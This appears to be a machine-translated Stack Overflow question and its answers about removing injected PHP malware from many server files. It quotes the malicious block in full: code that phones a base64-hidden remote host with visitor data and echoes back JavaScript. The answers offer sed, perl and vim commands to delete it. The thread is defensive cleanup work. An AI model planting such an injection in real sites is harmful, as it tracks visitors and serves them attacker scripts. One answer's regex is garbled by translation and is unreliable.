如何删除源文件中的代码块

时间:2013-03-12 09:28:42

标签: php sed malware

我的服务器上存在恶意软件的大问题。不知何故,机器人能够将代码放在100多个php文件中,这会在查看器浏览器上执行curl检索以执行JS代码。 幸运的是,此代码连接到的服务器已经死了。所以我的php文件中没有死恶意软件代码。我想从每个php文件中删除该代码块。

以下代码块位于许多php文件中:

?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

正如您所看到的,第一个字符以“?&gt;。

开头

使用sed我会做类似的事情:

sed -i 's/<\?php\nif \(\!isset\(\$sRetry\)\)(.*?)\n\}\n}\?>//g' *.php

显然这不起作用。但我试图做的是搜索开始标记包括$ sRetry的“isset”检查,以确保它只找到此代码块,然后(。*)后面跟着两个括号和结尾的任何代码标签

有人能为我提供正确的正则表达式,还是告诉我这个有什么问题?

4 个答案:

答案 0 :(得分:0)

perl -i -lne 'print unless(/\?\>\<\?php/.../\?\>$/)' *.php

答案 1 :(得分:0)

这还不够:

sed -e '/?><?php/,/?>/d' your_file.php

如果你想测试第1行以外的第2行,你可以这样做:

sed -e '/?><?php/N;/?><?php\nif (!isset(\$sRetry))/,/?>/d' your_file.php

答案 2 :(得分:0)

这可以解决一个文件的问题:

`vim -e +':%s#<?php\nif (!isset(\$sRetry\_.\{-}?>##' +wq yourfile.php `

如果您在infected.list中有受感染文件列表'进行搜索,请执行以下操作:

for i in $(cat infected.list); do 
    vim -e +':%s#<?php\nif (!isset(\$sRetry\_.\{-}?>##' +wq $i
done;

答案 3 :(得分:0)

在整个文件中:

/ ^(。)(小于\ PHP \\ $ sRetry \&GT;????)(。)$ / MIS

将匹配1和匹配3并将它们粘合在一起。像魅力一样。